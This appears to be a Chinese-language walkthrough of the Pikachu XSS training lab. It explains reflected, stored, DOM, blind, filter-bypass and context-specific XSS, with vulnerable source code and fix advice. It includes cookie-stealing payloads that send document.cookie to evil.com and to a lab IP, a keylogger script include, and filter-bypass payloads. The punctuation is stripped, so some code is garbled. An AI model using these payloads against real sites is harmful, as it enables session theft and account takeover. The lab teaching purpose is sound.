一、Cross-Site Scripting1、什么是xssXSSCross-Site Scripting跨站脚本攻击是一种常见的 Web 安全漏洞攻击者通过在网页中注入恶意脚本通常是JavaScript在用户浏览该网页时执行从而窃取用户数据、劫持会话等。为了与层叠样式表Cascading Style SheetsCSS区分所以才叫XSS。2、xss攻击成立的前提条件条件说明输入未被安全处理缺乏过滤/编码应用程序接收用户输入后直接返回给浏览器而没有进行有效的过滤或 HTML 编码。用户输入被回显到页面中攻击载荷需要能够“注入”到页面 HTML 或 JavaScript 中被浏览器解析并执行。浏览器能够执行这段注入的脚本页面没有启用内容安全策略CSP或者 CSP 规则设置过宽允许执行恶意脚本。攻击者能控制输入或链接参数攻击者可以构造恶意 URL反射、插入数据存储、操控前端代码逻辑DOM。用户访问了携带恶意脚本的页面攻击必须“落地”用户必须点击或加载了被注入的页面内容。二、环境启动靶场压缩包下载https://download.csdn.net/download/m0_74229528/93227308下载完放入虚拟机解压缩tar -xzf pikachu_docker.tar.gz解压完会自动生成一个pikachu目录导入镜像docker load -i pikachu_image.tar.gz将容器内部的80端口映射到你电脑的8080端口访问http://localhost:8080即可。docker run -d -p 8080:80 --name pikachu pikachu:latest启动成功访问http://localhost:8080首页点击初始化即可三、反射型xss(get)这两关的核心是恶意脚本通过 URL 参数传递并立即在页面中回显执行。关键点在于 Payload 不会存储在服务器上需要诱使用户点击恶意链接。输入scriptalert(1)/script发现后面的被截掉了前端的输入有长度限制打开F12修改输入长度修改为100四、反射型xss(post)先使用靶场提供的默认账号密码登录进去在登陆后的搜索框输入scriptalert(1)/script即可五、存储型xss直接在留言板输入恶意脚本被存储到后台服务器数据库每次访问该页面都会执行危害比反射型更大。可以利用本关获取键盘记录进入到容器里docker exec -it pikachu /bin/bash修改rk.js文件中php代码将ip改为你的靶机ip映射的端口一定要加上在留言板输入script srchttp://192.168.11.130:8080/pkxss/rkeypress/rk.js/script换成你的靶机ip登陆后台查看六、DOM型xss这类 XSS 的特点是完全在前端触发不经过服务器处理通过操作页面的 DOM 元素来执行恶意代码。1. 源码/div div classpage-content div idxssd_main script function domxss(){ var str document.getElementById(text).value; document.getElementById(dom).innerHTML a hrefstrwhat do you see?/a; } //试试img src# onmouseoveralert(xss) //试试 onclickalert(xss),闭合掉就行 /script !--a href onclick(xss)-- input idtext nametext typetext value / input idbutton typebutton valueclick me! onclickdomxss() / div iddom/div /div2. 漏洞位置function domxss(){ var str document.getElementById(text).value; document.getElementById(dom).innerHTML a hrefstrwhat do you see?/a; // ⚠️ 漏洞点 }3. 漏洞原理直接拼接用户输入到HTML用户的输入str直接拼接到HTML字符串中使用innerHTML通过innerHTML属性直接设置HTML内容没有进行任何过滤或转义没有服务器端验证虽然代码中有PHP部分接收$_GET[text]但实际前端完全独立处理.4. 可利用的Payload示例根据代码中的提示和实际情况1. 闭合href属性并添加事件处理器 οnclickalert(xss)document.getElementById(dom).innerHTML a href οnmοuseοveralert(xss)what do you see?/a;单引号将 herf 属性的值被闭合闭合后又插入了一个onclick事件提前闭合了a标签what do you see?这一部分便成了孤立的文本展示在页面上。2.闭合href属性并添加图片标签img src# οnmοuseοveralert(xss)5. 攻击过程用户在文本框中输入恶意Payload点击click me!按钮触发domxss()函数用户输入被直接拼接到a hrefstr中恶意代码被浏览器解析执行6. 修复建议1. 对输出进行编码function encodeHTML(str) { return str.replace(//g, amp;) .replace(//g, lt;) .replace(//g, gt;) .replace(//g, quot;) .replace(//g, #x27;); } function domxss(){ var str document.getElementById(text).value; var encodedStr encodeHTML(str); document.getElementById(dom).innerHTML a hrefencodedStrwhat do you see?/a; }2. 使用textContent替代innerHTML如果不需要HTMLdocument.getElementById(dom).textContent 点击查看: str;3. 服务器端也进行过滤虽然这里前端独立但良好的实践应该前后端都做防护这是一个典型的DOM型XSS因为漏洞完全发生在客户端JavaScript执行过程中不涉及服务器端的反射或存储。七、DOM型xss-x同上1. 源码script function domxss(){ var str window.location.search; var txss decodeURIComponent(str.split(text)[1]); var xss txss.replace(/\/g, ); // alert(xss); document.getElementById(dom).innerHTML a hrefxss就让往事都随风,都随风吧/a; } //试试img src# onmouseoveralert(xss) //试试 onclickalert(xss),闭合掉就行 /script2. 漏洞位置function domxss(){ var str window.location.search; // 从URL获取查询字符串 var txss decodeURIComponent(str.split(text)[1]); // 解码URL参数 var xss txss.replace(/\/g, ); // 只替换号为空格没有过滤XSS // alert(xss); document.getElementById(dom).innerHTML a hrefxss就让往事都随风,都随风吧/a; // ⚠️ 漏洞点 }3. 漏洞原理从URL获取用户输入通过window.location.search获取URL中的查询参数解码URL编码使用decodeURIComponent()解码URL编码的参数直接拼接用户输入将解码后的用户输入直接拼接到HTML字符串中缺乏过滤只替换了号为空格没有过滤HTML特殊字符4. 漏洞触发流程用户在表单中输入恶意Payload表单提交后参数text出现在URL中GET请求页面重新加载后JavaScript从URL中提取参数参数被解码并直接拼接到HTML中执行5. 可利用的Payload示例闭合href属性 οnclickalert(xss)闭合标签并添加新元素img src# οnerrοralert(xss)八、xss之盲打1. 源码if(array_key_exists(content,$_POST) $_POST[content]!null){ $contentescape($link, $_POST[content]); $nameescape($link, $_POST[name]); $time$timedate(Y-m-d g:i:s); $queryinsert into xssblind(time,content,name) values($time,$content,$name); $resultexecute($link, $query); if(mysqli_affected_rows($link)1){ $html.p谢谢参与阁下的看法我们已经收到!/p; }else { $html.pooo.提交出现异常请重新提交/p; }2. 漏洞位置2.1. 数据存储部分$contentescape($link, $_POST[content]); $nameescape($link, $_POST[name]); $queryinsert into xssblind(time,content,name) values($time,$content,$name);2.2. 后台显示部分虽然这里没有展示后台代码但从提示可知存在后台页面登录后台,看会发生啥?后台登录地址是/xssblind/admin_login.php将我们的输入存入后台了。我们注入xss, 无法得知xss是否被执行, 但是管理员在后台查看时, 当我们注入了xss代码, 同时管理员又访问了后台, 且后台把我们的内容输出, 那么后台管理员可能遭受到我们的XSS攻击。3. 漏洞原理分析3.1. 看似安全的处理代码使用了escape()函数对输入进行转义$contentescape($link, $_POST[content]); $nameescape($link, $_POST[name]);但escape()函数通常是mysqli_real_escape_string()的封装只能防止SQL注入不能防止XSS它转义SQL特殊字符如单引号、双引号等不转义HTML特殊字符如、、、等3.2. 存储型XSS特性用户输入被存储到数据库攻击者提交恶意脚本后台管理员查看数据恶意脚本在管理员浏览器执行窃取管理员会话攻击者获取管理员权限3.3. 盲打的含义之所以称为盲打是因为攻击者看不到输出结果不知道是否成功执行需要等待管理员访问后台查看提交内容4. 攻击场景4.1. 攻击流程攻击者提交恶意Payload → 存储到数据库 → 管理员登录后台查看 → 恶意脚本执行 → 窃取管理员Cookie → 攻击者获取后台权限4.2. 可利用的Payload示例窃取Cookie的Payloadscript var img new Image(); img.src http://evil.com/steal.php?cookie document.cookie; /scripthttp://evil.com/steal.php 是攻击者服务器上接收的地址。steal.php 是用于接收并存储Cookie的PHP文件这里我们设置为pikachu后台存储cookie的地址http://192.168.11.130:8080/pkxss/xcookie/cookie.phpscriptvar img new Image();img.src http://192.168.11.130:8080/pkxss/xcookie/cookie.php?cookie document.cookie;/script提交并登录后台成功获取到cookie5. 总结这是一个典型的存储型XSS盲打漏洞关键教训是SQL转义 ≠ XSS防护escape()/mysqli_real_escape_string()只能防SQL注入输出上下文决定安全需求数据库存储时需要SQL转义HTML显示时需要HTML编码存储型XSS最危险可以影响所有查看数据的用户特别是管理员盲打攻击针对后台攻击者看不到效果但管理员查看时执行核心修复原则在输出到HTML时使用htmlspecialchars()进行编码而不是在输入时尝试过滤所有恶意内容。九、xss之过滤1. 源码if(isset($_GET[submit]) $_GET[message] ! null){ //这里会使用正则对script进行替换为空,也就是过滤掉 $messagepreg_replace(/(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/, , $_GET[message]); // $messagestr_ireplace(script,$_GET[message]); if($message yes){ $html.p那就去人民广场一个人坐一会儿吧!/p; }else{ $html.p别说这些{$message}的话,不要怕,就是干!/p; } }2. 漏洞位置$messagepreg_replace(/(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/, , $_GET[message]);过滤了script关键字。3. 漏洞原理分析1. 过滤规则缺陷正则表达式/(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/匹配的是后面可以有任意字符(.*)然后匹配字母ss前后可以有任意字符然后匹配字母cc前后可以有任意字符...以此类推直到匹配完script但这存在几个问题只匹配小写正则表达式没有/i修饰符不区分大小写但模式中都是小写字母任意字符匹配太宽泛(.*)会匹配任意字符任意次数只匹配一次只替换第一次匹配如果payload中有多个script标签可能只过滤第一个2. 可利用的绕过方式方法1使用大小写混合ScRiPtalert(xss)/ScRiPt因为正则模式都是小写字母所以不会匹配大写字母。方法2使用其他HTML标签由于过滤只针对script可以使用其他标签img src# onerroralert(xss) svg onloadalert(xss) body onloadalert(xss)4. 总结这是一个典型的过滤不充分的反射型XSS漏洞。开发者意识到了XSS风险并尝试防御但由于过滤规则存在缺陷攻击者可以轻松绕过。最佳实践是在输出时进行HTML实体编码而不是在输入时尝试过滤所有恶意内容。十、xss之htmlspecialchars1. 源码if(isset($_GET[submit])){ if(empty($_GET[message])){ $html.p classnotice输入点啥吧/p; }else { //使用了htmlspecialchars进行处理,是不是就没问题了呢,htmlspecialchars默认不对处理 $messagehtmlspecialchars($_GET[message]); $html1.p classnotice你的输入已经被记录:/p; //输入的内容被处理后输出到了input标签的value属性里面,试试: onclickalert(111) // $html2.input classinput typetext nameinputvalue readonlyreadonly value{$message} stylemargin-left:120px;display:block;background-color:#c0c0c0;border-style:none;/; $html2.a href{$message}{$message}/a; } }2. 漏洞位置$messagehtmlspecialchars($_GET[message]); // ... $html2.a href{$message}{$message}/a;3. 漏洞原理1.htmlspecialchars()函数分析代码中使用了$messagehtmlspecialchars($_GET[message]);默认情况下htmlspecialchars()默认不对单引号进行编码默认ENT_COMPAT模式只编码双引号默认字符集是ISO-8859-1可能和实际字符集不匹配2. 输出上下文分析用户输入被输出到两个位置href属性值a href{$message}标签文本内容a href{$message}{$message}/a3. 漏洞详情当输入包含单引号时可以闭合href属性 οnclickalert(1)经过htmlspecialchars()处理后变为a href οnclickalert(1)/a因为没有被编码保持原样其他字符没有特殊意义这样会创建一个有效的onclick事件处理器。4. 完整的攻击PayloadPayload 1使用单引号闭合 οnclickalert(document.cookie)Payload 2结合使用javascript:alert(xss); οnclickalert(1)5. 总结这是一个典型的htmlspecialchars()使用不当导致的XSS漏洞。主要教训htmlspecialchars()默认不编码单引号在单引号包裹的属性中仍然存在风险输出上下文很重要href属性有其特殊的安全考虑JavaScript协议编码应该匹配输出上下文HTML属性值需要ENT_QUOTESURL需要额外的验证修复的关键是htmlspecialchars($_GET[message], ENT_QUOTES, UTF-8)十一、xss之herf输出1. 源码if(isset($_GET[submit])){ if(empty($_GET[message])){ $html.p classnotice叫你输入个url,你咋不听?/p; } if($_GET[message] www.baidu.com){ $html.p classnotice我靠,我真想不到你是这样的一个人/p; }else { //输出在a标签的href属性里面,可以使用javascript协议来执行js //防御:只允许http,https,其次在进行htmlspecialchars处理 $messagehtmlspecialchars($_GET[message],ENT_QUOTES); $html.a href{$message} 阁下自己输入的url还请自己点一下吧/a; } }2. 漏洞位置$messagehtmlspecialchars($_GET[message],ENT_QUOTES); $html.a href{$message} 阁下自己输入的url还请自己点一下吧/a;3. 漏洞原理1. 看似安全的防护代码使用了htmlspecialchars($_GET[message], ENT_QUOTES)ENT_QUOTES参数编码了单引号和双引号看起来似乎很安全2. 但是href属性的特殊性href属性可以接受javascript:协议这会直接执行JavaScript代码而不需要闭合引号或插入事件处理器。即使经过了htmlspecialchars()编码javascript:中的字符都不是HTML特殊字符不会被编码协议部分仍然保持原样浏览器会执行javascript:协议后面的代码4. 攻击Payload示例Payload 1简单的JavaScript协议javascript:alert(XSS)这会生成a hrefjavascript:alert(#039;XSS#039;)阁下自己输入的url还请自己点一下吧/a用户点击链接时浏览器会执行alert(XSS)Payload 2获取Cookiejavascript:alert(document.cookie)Payload 3重定向到恶意网站同八一样javascript:window.locationhttp://evil.com/?cookiedocument.cookie为什么这是漏洞htmlspecialchars()不能防止JavaScript协议攻击它只编码HTML特殊字符不检查URL协议用户控制的URL可能执行任意JavaScript点击链接就执行恶意代码没有验证URL是否合法只检查是否等于没有验证URL格式5. 总结这是一个典型的href属性XSS漏洞教训是htmlspecialchars()不能防御JavaScript协议攻击它只处理HTML特殊字符href、src等属性需要特别处理这些属性可以执行JavaScript必须验证URL协议只允许安全的协议http/https用户提供的链接需要谨慎处理可能包含恶意JavaScript代码安全提示永远不要将用户输入直接作为href或src属性的值而不进行协议验证。十二、xss之js输出1. 源码if(isset($_GET[submit]) $_GET[message] !null){ $jsvar$_GET[message]; // $jsvarhtmlspecialchars($_GET[message],ENT_QUOTES); if($jsvar tmac){ $html.img src{$PIKA_ROOT_DIR}assets/images/nbaplayer/tmac.jpeg /; } } script $ms?php echo $jsvar;?; if($ms.length ! 0){ if($ms tmac){ $(#fromjs).text(tmac确实厉害,看那小眼神..) }else { // alert($ms); $(#fromjs).text(无论如何不要放弃心中所爱..) } } /script2. 漏洞位置$jsvar$_GET[message]; // ... script $ms?php echo $jsvar;?; // ... alert($ms); // 这行被注释了但如果启用会直接执行XSS /script3. 漏洞原理1. 用户输入直接嵌入JavaScriptPHP代码直接将用户输入嵌入到JavaScript字符串中$ms?php echo $jsvar;?;如果用户输入是;alert(XSS);//那么生成的JavaScript代码是$ms;alert(XSS);//;2. 破坏JavaScript字符串上下文攻击者可以通过输入包含单引号的payload来闭合字符串用闭合前面的字符串注入JavaScript代码添加任意JavaScript代码注释掉后续内容用//注释掉后面的4. 攻击Payload示例Payload 1简单的alert;alert(XSS);// 或 /scriptscriptalert(1)/scriptPayload 2窃取Cookie;document.locationhttp://evil.com/?cdocument.cookie;//5. 总结这是一个典型的JavaScript上下文中的XSS漏洞教训是1. 不同上下文需要不同的编码HTML内容htmlspecialchars()HTML属性htmlspecialchars($str, ENT_QUOTES)JavaScript字符串json_encode()或专门的转义函数URL参数urlencode()2.json_encode()是最好的JavaScript转义方法它正确处理所有特殊字符和编码问题。3. 避免将用户输入直接嵌入脚本考虑使用data属性等其他方法传递数据。